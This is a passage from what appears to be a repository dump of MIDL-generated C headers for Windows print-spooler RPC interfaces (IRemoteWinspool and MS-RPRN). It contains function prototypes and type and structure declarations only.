wchar_t *pFormName,\n    /* [in] */ DWORD Level,\n    /* [size_is][unique][out][in] */ unsigned char *pForm,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded);\n\nDWORD RpcAsyncSetForm( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [string][in] */ wchar_t *pFormName,\n    /* [in] */ FORM_CONTAINER *pFormInfoContainer);\n\nDWORD RpcAsyncEnumForms( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD Level,\n    /* [size_is][unique][out][in] */ unsigned char *pForm,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded,\n    /* [out] */ DWORD *pcReturned);\n\nDWORD RpcAsyncGetPrinterDriver( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [string][unique][in] */ wchar_t *pEnvironment,\n    /* [in] */ DWORD Level,\n    /* [size_is][unique][out][in] */ unsigned char *pDriver,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded,\n    /* [in] */ DWORD dwClientMajorVersion,\n    /* [in] */ DWORD dwClientMinorVersion,\n    /* [out] */ DWORD *pdwServerMaxVersion,\n    /* [out] */ DWORD *pdwServerMinVersion);\n\nDWORD RpcAsyncEnumPrinterData( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD dwIndex,\n    /* [size_is][out] */ wchar_t *pValueName,\n    /* [in] */ DWORD cbValueName,\n    /* [out] */ DWORD *pcbValueName,\n    /* [out] */ DWORD *pType,\n    /* [size_is][out] */ unsigned char *pData,\n    /* [in] */ DWORD cbData,\n    /* [out] */ DWORD *pcbData);\n\nDWORD RpcAsyncEnumPrinterDataEx( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [string][in] */ const wchar_t *pKeyName,\n    /* [size_is][out] */ unsigned char *pEnumValues,\n    /* [in] */ DWORD cbEnumValues,\n    /* [out] */ DWORD *pcbEnumValues,\n    /* [out] */ DWORD *pnEnumValues);\n\nDWORD RpcAsyncEnumPrinterKey( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [string][in] */ const wchar_t *pKeyName,\n    /* [size_is][out] */ wchar_t *pSubkey,\n    /* [in] */ DWORD cbSubkey,\n    /* [out] */ DWORD *pcbSubkey);\n\nDWORD RpcAsyncDeletePrinterData( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [string][in] */ wchar_t *pValueName);\n\nDWORD RpcAsyncDeletePrinterDataEx( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [string][in] */ const wchar_t *pKeyName,\n    /* [string][in] */ const wchar_t *pValueName);\n\nDWORD RpcAsyncDeletePrinterKey( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [string][in] */ const wchar_t *pKeyName);\n\nDWORD RpcAsyncXcvData( \n    /* [in] */ PRINTER_HANDLE hXcv,\n    /* [string][in] */ const wchar_t *pszDataName,\n    /* [size_is][in] */ unsigned char *pInputData,\n    /* [in] */ DWORD cbInputData,\n    /* [size_is][out] */ unsigned char *pOutputData,\n    /* [in] */ DWORD cbOutputData,\n    /* [out] */ DWORD *pcbOutputNeeded,\n    /* [out][in] */ DWORD *pdwStatus);\n\nDWORD RpcAsyncSendRecvBidiData( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [unique][string][in] */ const wchar_t *pAction,\n    /* [in] */ RPC_BIDI_REQUEST_CONTAINER *pReqData,\n    /* [out] */ RPC_BIDI_RESPONSE_CONTAINER **ppRespData);\n\nDWORD RpcAsyncCreatePrinterIC( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [out] */ GDI_HANDLE *pHandle,\n    /* [in] */ DEVMODE_CONTAINER *pDevModeContainer);\n\nDWORD RpcAsyncPlayGdiScriptOnPrinterIC( \n    /* [in] */ GDI_HANDLE hPrinterIC,\n    /* [size_is][in] */ unsigned char *pIn,\n    /* [in] */ DWORD cIn,\n    /* [size_is][out] */ unsigned char *pOut,\n    /* [in] */ DWORD cOut,\n    /* [in] */ DWORD ul);\n\nDWORD RpcAsyncDeletePrinterIC( \n    /* [out][in] */ GDI_HANDLE *phPrinterIC);\n\nDWORD RpcAsyncEnumPrinters( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [in] */ DWORD Flags,\n    /* [unique][string][in] */ wchar_t *Name,\n    /* [in] */ DWORD Level,\n    /* [size_is][unique][out][in] */ unsigned char *pPrinterEnum,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded,\n    /* [out] */ DWORD *pcReturned);\n\nDWORD RpcAsyncAddPrinterDriver( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ wchar_t *pName,\n    /* [in] */ DRIVER_CONTAINER *pDriverContainer,\n    /* [in] */ DWORD dwFileCopyFlags);\n\nDWORD RpcAsyncEnumPrinterDrivers( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ wchar_t *pName,\n    /* [string][unique][in] */ wchar_t *pEnvironment,\n    /* [in] */ DWORD Level,\n    /* [size_is][unique][out][in] */ unsigned char *pDrivers,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded,\n    /* [out] */ DWORD *pcReturned);\n\nDWORD RpcAsyncGetPrinterDriverDirectory( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ wchar_t *pName,\n    /* [string][unique][in] */ wchar_t *pEnvironment,\n    /* [in] */ DWORD Level,\n    /* [size_is][unique][out][in] */ unsigned char *pDriverDirectory,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded);\n\nDWORD RpcAsyncDeletePrinterDriver( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ wchar_t *pName,\n    /* [string][in] */ wchar_t *pEnvironment,\n    /* [string][in] */ wchar_t *pDriverName);\n\nDWORD RpcAsyncDeletePrinterDriverEx( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ wchar_t *pName,\n    /* [string][in] */ wchar_t *pEnvironment,\n    /* [string][in] */ wchar_t *pDriverName,\n    /* [in] */ DWORD dwDeleteFlag,\n    /* [in] */ DWORD dwVersionNum);\n\nDWORD RpcAsyncAddPrintProcessor( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ wchar_t *pName,\n    /* [string][in] */ wchar_t *pEnvironment,\n    /* [string][in] */ wchar_t *pPathName,\n    /* [string][in] */ wchar_t *pPrintProcessorName);\n\nDWORD RpcAsyncEnumPrintProcessors( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ wchar_t *pName,\n    /* [string][unique][in] */ wchar_t *pEnvironment,\n    /* [in] */ DWORD Level,\n    /* [size_is][unique][out][in] */ unsigned char *pPrintProcessorInfo,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded,\n    /* [out] */ DWORD *pcReturned);\n\nDWORD RpcAsyncGetPrintProcessorDirectory( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ wchar_t *pName,\n    /* [string][unique][in] */ wchar_t *pEnvironment,\n    /* [in] */ DWORD Level,\n    /* [size_is][unique][out][in] */ unsigned char *pPrintProcessorDirectory,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded);\n\nDWORD RpcAsyncEnumPorts( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ wchar_t *pName,\n    /* [in] */ DWORD Level,\n    /* [size_is][unique][out][in] */ unsigned char *pPort,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded,\n    /* [out] */ DWORD *pcReturned);\n\nDWORD RpcAsyncEnumMonitors( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ wchar_t *pName,\n    /* [in] */ DWORD Level,\n    /* [size_is][unique][out][in] */ unsigned char *pMonitor,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded,\n    /* [out] */ DWORD *pcReturned);\n\nDWORD RpcAsyncAddPort( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ wchar_t *pName,\n    /* [in] */ PORT_CONTAINER *pPortContainer,\n    /* [in] */ PORT_VAR_CONTAINER *pPortVarContainer,\n    /* [string][in] */ wchar_t *pMonitorName);\n\nDWORD RpcAsyncSetPort( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ wchar_t *pName,\n    /* [unique][string][in] */ wchar_t *pPortName,\n    /* [in] */ PORT_CONTAINER *pPortContainer);\n\nDWORD RpcAsyncAddMonitor( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ wchar_t *Name,\n    /* [in] */ MONITOR_CONTAINER *pMonitorContainer);\n\nDWORD RpcAsyncDeleteMonitor( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ wchar_t *Name,\n    /* [string][unique][in] */ wchar_t *pEnvironment,\n    /* [string][in] */ wchar_t *pMonitorName);\n\nDWORD RpcAsyncDeletePrintProcessor( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ wchar_t *Name,\n    /* [string][unique][in] */ wchar_t *pEnvironment,\n    /* [string][in] */ wchar_t *pPrintProcessorName);\n\nDWORD RpcAsyncEnumPrintProcessorDatatypes( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ wchar_t *pName,\n    /* [string][unique][in] */ wchar_t *pPrintProcessorName,\n    /* [in] */ DWORD Level,\n    /* [size_is][unique][out][in] */ unsigned char *pDatatypes,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded,\n    /* [out] */ DWORD *pcReturned);\n\nDWORD RpcAsyncAddPerMachineConnection( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ wchar_t *pServer,\n    /* [string][in] */ const wchar_t *pPrinterName,\n    /* [string][in] */ const wchar_t *pPrintServer,\n    /* [string][in] */ const wchar_t *pProvider);\n\nDWORD RpcAsyncDeletePerMachineConnection( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ wchar_t *pServer,\n    /* [string][in] */ const wchar_t *pPrinterName);\n\nDWORD RpcAsyncEnumPerMachineConnections( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ wchar_t *pServer,\n    /* [size_is][unique][out][in] */ unsigned char *pPrinterEnum,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcbNeeded,\n    /* [out] */ DWORD *pcReturned);\n\nHRESULT RpcSyncRegisterForRemoteNotifications( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ RpcPrintPropertiesCollection *pNotifyFilter,\n    /* [out] */ RMTNTFY_HANDLE *phRpcHandle);\n\nHRESULT RpcSyncUnRegisterForRemoteNotifications( \n    /* [out][in] */ RMTNTFY_HANDLE *phRpcHandle);\n\nHRESULT RpcSyncRefreshRemoteNotifications( \n    /* [in] */ RMTNTFY_HANDLE hRpcHandle,\n    /* [in] */ RpcPrintPropertiesCollection *pNotifyFilter,\n    /* [out] */ RpcPrintPropertiesCollection **ppNotifyData);\n\nHRESULT RpcAsyncGetRemoteNotifications( \n    /* [in] */ RMTNTFY_HANDLE hRpcHandle,\n    /* [out] */ RpcPrintPropertiesCollection **ppNotifyData);\n\nHRESULT RpcAsyncInstallPrinterDriverFromPackage( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ const wchar_t *pszServer,\n    /* [unique][string][in] */ const wchar_t *pszInfPath,\n    /* [string][in] */ const wchar_t *pszDriverName,\n    /* [string][in] */ const wchar_t *pszEnvironment,\n    /* [in] */ DWORD dwFlags);\n\nHRESULT RpcAsyncUploadPrinterDriverPackage( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ const wchar_t *pszServer,\n    /* [string][in] */ const wchar_t *pszInfPath,\n    /* [string][in] */ const wchar_t *pszEnvironment,\n    /* [in] */ DWORD dwFlags,\n    /* [size_is][unique][out][in] */ wchar_t *pszDestInfPath,\n    /* [out][in] */ DWORD *pcchDestInfPath);\n\nHRESULT RpcAsyncGetCorePrinterDrivers( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ const wchar_t *pszServer,\n    /* [string][in] */ const wchar_t *pszEnvironment,\n    /* [in] */ DWORD cchCoreDrivers,\n    /* [size_is][in] */ const wchar_t *pszzCoreDriverDependencies,\n    /* [in] */ DWORD cCorePrinterDrivers,\n    /* [size_is][out] */ CORE_PRINTER_DRIVER *pCorePrinterDrivers);\n\nHRESULT RpcAsyncCorePrinterDriverInstalled( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ const wchar_t *pszServer,\n    /* [string][in] */ const wchar_t *pszEnvironment,\n    /* [in] */ GUID CoreDriverGUID,\n    /* [in] */ FILETIME ftDriverDate,\n    /* [in] */ DWORDLONG dwlDriverVersion,\n    /* [out] */ int *pbDriverInstalled);\n\nHRESULT RpcAsyncGetPrinterDriverPackagePath( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ const wchar_t *pszServer,\n    /* [string][in] */ const wchar_t *pszEnvironment,\n    /* [unique][string][in] */ const wchar_t *pszLanguage,\n    /* [string][in] */ const wchar_t *pszPackageID,\n    /* [size_is][unique][out][in] */ wchar_t *pszDriverPackageCab,\n    /* [in] */ DWORD cchDriverPackageCab,\n    /* [out] */ DWORD *pcchRequiredSize);\n\nHRESULT RpcAsyncDeletePrinterDriverPackage( \n    /* [in] */ handle_t hRemoteBinding,\n    /* [unique][string][in] */ const wchar_t *pszServer,\n    /* [string][in] */ const wchar_t *pszInfPath,\n    /* [string][in] */ const wchar_t *pszEnvironment);\n\nDWORD RpcAsyncReadPrinter( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [size_is][out] */ unsigned char *pBuf,\n    /* [in] */ DWORD cbBuf,\n    /* [out] */ DWORD *pcNoBytesRead);\n\nDWORD RpcAsyncResetPrinter( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [unique][string][in] */ wchar_t *pDatatype,\n    /* [in] */ DEVMODE_CONTAINER *pDevModeContainer);\n\nDWORD RpcAsyncGetJobNamedPropertyValue( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD JobId,\n    /* [string][in] */ const wchar_t *pszName,\n    /* [out] */ RPC_PrintPropertyValue *pValue);\n\nDWORD RpcAsyncSetJobNamedProperty( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD JobId,\n    /* [in] */ RPC_PrintNamedProperty *pProperty);\n\nDWORD RpcAsyncDeleteJobNamedProperty( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD JobId,\n    /* [string][in] */ const wchar_t *pszName);\n\nDWORD RpcAsyncEnumJobNamedProperties( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [in] */ DWORD JobId,\n    /* [out] */ DWORD *pcProperties,\n    /* [size_is][size_is][out] */ RPC_PrintNamedProperty **ppProperties);\n\nDWORD RpcAsyncLogJobInfoForBranchOffice( \n    /* [in] */ PRINTER_HANDLE hPrinter,\n    /* [ref][in] */ RPC_BranchOfficeJobDataContainer *pBranchOfficeJobDataContainer);\n\n\n\nextern RPC_IF_HANDLE IRemoteWinspool_v1_0_c_ifspec;\nextern RPC_IF_HANDLE IRemoteWinspool_v1_0_s_ifspec;\n#endif /* __IRemoteWinspool_INTERFACE_DEFINED__ */\n\n/* Additional Prototypes for ALL interfaces */\n\nvoid __RPC_USER PRINTER_HANDLE_rundown( PRINTER_HANDLE );\nvoid __RPC_USER GDI_HANDLE_rundown( GDI_HANDLE );\nvoid __RPC_USER RMTNTFY_HANDLE_rundown( RMTNTFY_HANDLE );\n\n/* end of Additional Prototypes */\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n\n\n"
  },
  {
    "path": "lib/ms-rprn_h.h",
    "content": "\n\n/* this ALWAYS GENERATED file contains the definitions for the interfaces */\n\n\n /* File created by MIDL compiler version 8.01.0628 */\n/* at Mon Jan 18 19:14:07 2038\n */\n/* Compiler settings for IDL_FILES\\ms-rprn.idl:\n    Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.01.0628 \n    protocol : all , ms_ext, c_ext, robust\n    error checks: allocation ref bounds_check enum stub_data \n    VC __declspec() decoration level: \n         __declspec(uuid()), __declspec(selectany), __declspec(novtable)\n         DECLSPEC_UUID(), MIDL_INTERFACE()\n*/\n/* @@MIDL_FILE_HEADING(  ) */\n\n\n\n/* verify that the <rpcndr.h> version is high enough to compile this file*/\n#ifndef __REQUIRED_RPCNDR_H_VERSION__\n#define __REQUIRED_RPCNDR_H_VERSION__ 500\n#endif\n\n#include \"rpc.h\"\n#include \"rpcndr.h\"\n\n#ifndef __RPCNDR_H_VERSION__\n#error this stub requires an updated version of <rpcndr.h>\n#endif /* __RPCNDR_H_VERSION__ */\n\n\n#ifndef __ms2Drprn_h_h__\n#define __ms2Drprn_h_h__\n\n#if defined(_MSC_VER) && (_MSC_VER >= 1020)\n#pragma once\n#endif\n\n#ifndef DECLSPEC_XFGVIRT\n#if defined(_CONTROL_FLOW_GUARD_XFG)\n#define DECLSPEC_XFGVIRT(base, func) __declspec(xfg_virtual(base, func))\n#else\n#define DECLSPEC_XFGVIRT(base, func)\n#endif\n#endif\n\n/* Forward Declarations */ \n\n#ifdef __cplusplus\nextern \"C\"{\n#endif \n\n\n#ifndef __winspool_INTERFACE_DEFINED__\n#define __winspool_INTERFACE_DEFINED__\n\n/* interface winspool */\n/* [version][uuid] */ \n\ntypedef int BOOL;\n\ntypedef int *PBOOL;\n\ntypedef int *LPBOOL;\n\ntypedef unsigned char BYTE;\n\ntypedef unsigned char *PBYTE;\n\ntypedef unsigned char *LPBYTE;\n\ntypedef BYTE BOOLEAN;\n\ntypedef BYTE *PBOOLEAN;\n\ntypedef wchar_t WCHAR;\n\ntypedef wchar_t *PWCHAR;\n\ntypedef WCHAR *BSTR;\n\ntypedef double DOUBLE;\n\ntypedef unsigned long DWORD;\n\ntypedef unsigned long *PDWORD;\n\ntypedef unsigned long *LPDWORD;\n\ntypedef unsigned int DWORD32;\n\ntypedef unsigned __int64 DWORD64;\n\ntypedef unsigned __int64 *PDWORD64;\n\ntypedef unsigned __int64 ULONGLONG;\n\ntypedef ULONGLONG DWORDLONG;\n\ntypedef ULONGLONG *PDWORDLONG;\n\ntypedef unsigned char UCHAR;\n\ntypedef unsigned char *PUCHAR;\n\ntypedef void *HANDLE;\n\ntypedef DWORD HCALL;\n\ntypedef int INT;\n\ntypedef int *LPINT;\n\ntypedef signed char INT8;\n\ntypedef short INT16;\n\ntypedef int INT32;\n\ntypedef __int64 INT64;\n\ntypedef void *LDAP_UDP_HANDLE;\n\ntypedef const wchar_t *LMCSTR;\n\ntypedef WCHAR *LMSTR;\n\ntypedef long LONG;\n\ntypedef long *PLONG;\n\ntypedef long *LPLONG;\n\ntypedef __int64 LONGLONG;\n\ntypedef LONG HRESULT;\n\ntypedef /* [custom] */ __int3264 LONG_PTR;\n\ntypedef /* [custom] */ unsigned __int3264 ULONG_PTR;\n\ntypedef int LONG32;\n\ntypedef __int64 LONG64;\n\ntypedef __int64 *PLONG64;\n\ntypedef const void *LPCVOID;\n\ntypedef const wchar_t *LPCWSTR;\n\ntypedef unsigned int UINT;\n\ntypedef unsigned char UINT8;\n\ntypedef unsigned short UINT16;\n\ntypedef unsigned int UINT32;\n\ntypedef unsigned __int64 UINT64;\n\ntypedef unsigned long ULONG;\n\ntypedef unsigned long *PULONG;\n\ntypedef unsigned __int64 QWORD;\n\ntypedef void *RPC_BINDING_HANDLE;\n\ntypedef UCHAR *STRING;\n\ntypedef ULONG_PTR DWORD_PTR;\n\ntypedef ULONG_PTR SIZE_T;\n\ntypedef unsigned int ULONG32;\n\ntypedef unsigned __int64 ULONG64;\n\ntypedef unsigned short USHORT;\n\ntypedef void *PVOID;\n\ntypedef void *LPVOID;\n\ntypedef unsigned short WORD;\n\ntypedef unsigned short *PWORD;\n\ntypedef unsigned short *LPWORD;\n\n\ntypedef struct _GUID UUID;\n\ntypedef struct _GUID *PGUID;\n\ntypedef unsigned short LANGID;\n\ntypedef /* [context_handle] */ void *GDI_HANDLE;\n\ntypedef /* [context_handle] */ void *PRINTER_HANDLE;\n\ntypedef /* [handle] */ wchar_t *STRING_HANDLE;\n\n\ntypedef struct _FILETIME *PFILETIME;\n\ntypedef struct _FILETIME *LPFILETIME;\n\n\ntypedef struct _SYSTEMTIME *PSYSTEMTIME;\n\ntypedef struct _RPC_DRIVER_INFO_3\n    {\n    DWORD cVersion;\n    /* [string] */ wchar_t *pName;\n    /* [string] */ wchar_t *pEnvironment;\n    /* [string] */ wchar_t *pDriverPath;\n    /* [string] */ wchar_t *pDataFile;\n    /* [string] */ wchar_t *pConfigFile;\n    /* [string] */ wchar_t *pHelpFile;\n    /* [string] */ wchar_t *pMonitorName;\n    /* [string] */ wchar_t *pDefaultDataType;\n    DWORD cchDependentFiles;\n    /* [unique][size_is] */ wchar_t *pDependentFiles;\n    } \tRPC_DRIVER_INFO_3;\n\ntypedef struct _RPC_DRIVER_INFO_4\n    {\n    DWORD cVersion;\n    /* [string] */ wchar_t *pName;\n    /* [string] */ wchar_t *pEnvironment;\n    /* [string] */ wchar_t *pDriverPath;\n    /* [string] */ wchar_t *pDataFile;\n    /* [string] */ wchar_t *pConfigFile;\n    /* [string] */ wchar_t *pHelpFile;\n    /* [string] */ wchar_t *pMonitorName;\n    /* [string] */ wchar_t *pDefaultDataType;\n    DWORD cchDependentFiles;\n    /* [unique][size_is] */ wchar_t *pDependentFiles;\n    DWORD cchPreviousNames;\n    /* [unique][size_is] */ wchar_t *pszzPreviousNames;\n    } \tRPC_DRIVER_INFO_4;\n\ntypedef struct _RPC_DRIVER_INFO_6\n    {\n    DWORD cVersion;\n    /* [string] */ wchar_t *pName;\n    /* [string] */ wchar_t *pEnvironment;\n    /* [string] */ wchar_t *pDriverPath;\n    /* [string] */ wchar_t *pDataFile;\n    /* [string] */ wchar_t *pConfigFile;\n    /* [string] */ wchar_t *pHelpFile;\n    /* [string] */ wchar_t *pMonitorName;\n    /* [string] */ wchar_t *pDefaultDataType;\n    DWORD cchDependentFiles;\n    /* [unique][size_is] */ wchar_t *pDependentFiles;\n    DWORD cchPreviousNames;\n    /* [unique][size_is] */ wchar_t *pszzPreviousNames;\n    FILETIME ftDriverDate;\n    DWORDLONG dwlDriverVersion;\n    /* [string] */ wchar_t *pMfgName;\n    /* [string] */ wchar_t *pOEMUrl;\n    /* [string] */ wchar_t *pHardwareID;\n    /* [string] */ wchar_t *pProvider;\n    } \tRPC_DRIVER_INFO_6;\n\ntypedef struct _RPC_DRIVER_INFO_8\n    {\n    DWORD cVersion;\n    /* [string] */ wchar_t *pName;\n    /* [string] */ wchar_t *pEnvironment;\n    /* [string] */ wchar_t *pDriverPath;\n    /* [string] */ wchar_t *pDataFile;\n    /* [string] */ wchar_t *pConfigFile;\n    /* [string] */ wchar_t *pHelpFile;\n    /* [string] */ wchar_t *pMonitorName;\n    /* [string] */ wchar_t *pDefaultDataType;\n    DWORD cchDependentFiles;\n    /* [unique][size_is] */ wchar_t *pDependentFiles;\n    DWORD cchPreviousNames;\n    /* [unique][size_is] */ wchar_t *pszzPreviousNames;\n    FILETIME ftDriverDate;\n    DWORDLONG dwlDriverVersion;\n    /* [string] */ wchar_t *pMfgName;\n    /* [string] */ wchar_t *pOEMUrl;\n    /* [string] */ wchar_t *pHardwareID;\n    /* [string] */ wchar_t *pProvider;\n    /* [string] */ wchar_t *pPrintProcessor;\n    /* [string] */ wchar_t *pVendorSetup;\n    DWORD cchColorProfiles;\n    /* [unique][size_is] */ wchar_t *pszzColorProfiles;\n    /* [string] */ wchar_t *pInfPath;\n    DWORD dwPrinterDriverAttributes;\n    DWORD cchCoreDependencies;\n    /* [unique][size_is] */ wchar_t *pszzCoreDriverDependencies;\n    FILETIME ftMinInboxDriverVerDate;\n    DWORDLONG dwlMinInboxDriverVerVersion;\n    } \tRPC_DRIVER_INFO_8;\n\ntypedef struct _RPC_FORM_INFO_2\n    {\n    DWORD Flags;\n    /* [unique][string] */ const wchar_t *pName;\n    SIZE Size;\n    RECTL ImageableArea;\n    /* [unique][string] */ const unsigned char *pKeyword;\n    DWORD StringType;\n    /* [unique][string] */ const wchar_t *pMuiDll;\n    DWORD dwResourceId;\n    /* [unique][string] */ const wchar_t *pDisplayName;\n    LANGID wLangID;\n    } \tRPC_FORM_INFO_2;\n\ntypedef struct _PORT_INFO_FF\n    {\n    /* [string] */ wchar_t *pPortName;\n    DWORD cbMonitorData;\n    BYTE *pMonitorData;\n    } \tPORT_INFO_FF;\n\ntypedef struct _PRINTER_INFO_STRESS\n    {\n    /* [string] */ wchar_t *pPrinterName;\n    /* [string] */ wchar_t *pServerName;\n    DWORD cJobs;\n    DWORD cTotalJobs;\n    DWORD cTotalBytes;\n    SYSTEMTIME stUpTime;\n    DWORD MaxcRef;\n    DWORD cTotalPagesPrinted;\n    DWORD dwGetVersion;\n    DWORD fFreeBuild;\n    DWORD cSpooling;\n    DWORD cMaxSpooling;\n    DWORD cRef;\n    DWORD cErrorOutOfPaper;\n    DWORD cErrorNotReady;\n    DWORD cJobError;\n    DWORD dwNumberOfProcessors;\n    DWORD dwProcessorType;\n    DWORD dwHighPartTotalBytes;\n    DWORD cChangeID;\n    DWORD dwLastError;\n    DWORD Status;\n    DWORD cEnumerateNetworkPrinters;\n    DWORD cAddNetPrinters;\n    unsigned short wProcessorArchitecture;\n    unsigned short wProcessorLevel;\n    DWORD cRefIC;\n    DWORD dwReserved2;\n    DWORD dwReserved3;\n    } \tPRINTER_INFO_STRESS;\n\n\ntypedef struct _SPLCLIENT_INFO_1\n    {\n    DWORD dwSize;\n    /* [string] */ wchar_t *pMachineName;\n    /* [string] */ wchar_t *pUserName;\n    DWORD dwBuildNum;\n    DWORD dwMajorVersion;\n    DWORD dwMinorVersion;\n    unsigned short wProcessorArchitecture;\n    } \tSPLCLIENT_INFO_1;\n\ntypedef struct _SPLCLIENT_INFO_2\n    {\n    LONG_PTR notUsed;\n    } \tSPLCLIENT_INFO_2;\n\ntypedef struct _SPLCLIENT_INFO_3\n    {\n    unsigned int cbSize;\n    DWORD dwFlags;\n    DWORD dwSize;\n    /* [string] */ wchar_t *pMachineName;\n    /* [string] */ wchar_t *pUserName;\n    DWORD dwBuildNum;\n    DWORD dwMajorVersion;\n    DWORD dwMinorVersion;\n    unsigned short wProcessorArchitecture;\n    unsigned __int64 hSplPrinter;\n    } \tSPLCLIENT_INFO_3;\n\ntypedef struct _DEVMODE_CONTAINER\n    {\n    DWORD cbBuf;\n    /* [unique][size_is] */ BYTE *pDevMode;\n    } \tDEVMODE_CONTAINER;\n\ntypedef struct _DOC_INFO_CONTAINER\n    {\n    DWORD Level;\n    /* [switch_is] */ /* [switch_type] */ union \n        {\n        /* [case()] */ DOC_INFO_1 *pDocInfo1;\n        } \tDocInfo;\n    } \tDOC_INFO_CONTAINER;\n\ntypedef struct _DRIVER_CONTAINER\n    {\n    DWORD Level;\n    /* [switch_is] */ /* [switch_type] */ union \n        {\n        /* [case()] */ DRIVER_INFO_1 *pNotUsed;\n        /* [case()] */ DRIVER_INFO_2 *Level2;\n        /* [case()] */ RPC_DRIVER_INFO_3 *Level3;\n        /* [case()] */ RPC_DRIVER_INFO_4 *Level4;\n        /* [case()] */ RPC_DRIVER_INFO_6 *Level6;\n        /* [case()] */ RPC_DRIVER_INFO_8 *Level8;\n        } \tDriverInfo;\n    } \tDRIVER_CONTAINER;\n\ntypedef struct _FORM_CONTAINER\n    {\n    DWORD Level;\n    /* [switch_is] */ /* [switch_type] */ union \n        {\n        /* [case()] */ FORM_INFO_1 *pFormInfo1;\n        /* [case()] */ RPC_FORM_INFO_2 *pFormInfo2;\n        } \tFormInfo;\n    } \tFORM_CONTAINER;\n\ntypedef struct _JOB_CONTAINER\n    {\n    DWORD Level;\n    /* [switch_is] */ /* [switch_type] */ union \n        {\n        /* [case()] */ JOB_INFO_1 *Level1;\n        /* [case()] */ JOB_INFO_2 *Level2;\n        /* [case()] */ JOB_INFO_3 *Level3;\n        /* [case()] */ JOB_INFO_4 *Level4;\n        } \tJobInfo;\n    } \tJOB_CONTAINER;\n\ntypedef struct _MONITOR_CONTAINER\n    {\n    DWORD Level;\n    /* [switch_is] */ /* [switch_type] */ union \n        {\n        /* [case()] */ MONITOR_INFO_1 *pMonitorInfo1;\n        /* [case()] */ MONITOR_INFO_2 *pMonitorInfo2;\n        } \tMonitorInfo;\n    } \tMONITOR_CONTAINER;\n\ntypedef struct _PORT_CONTAINER\n    {\n    DWORD Level;\n    /* [switch_is] */ /* [switch_type] */ union \n        {\n        /* [case()] */ PORT_INFO_1 *pPortInfo1;\n        /* [case()] */ PORT_INFO_2 *pPortInfo2;\n        /* [case()] */ PORT_INFO_3 *pPortInfo3;\n        /* [case()] */ PORT_INFO_FF *pPortInfoFF;\n        } \tPortInfo;\n    } \tPORT_CONTAINER;\n\ntypedef struct _PORT_VAR_CONTAINER\n    {\n    DWORD cbMonitorData;\n    /* [disable_consistency_check][unique][size_is] */ BYTE *pMonitorData;\n    } \tPORT_VAR_CONTAINER;\n\ntypedef struct _PRINTER_CONTAINER\n    {\n    DWORD Level;\n    /* [switch_is] */ /* [switch_type] */ union \n        {\n        /* [case()] */ PRINTER_INFO_STRESS *pPrinterInfoStress;\n        /* [case()] */ PRINTER_INFO_1 *pPrinterInfo1;\n        /* 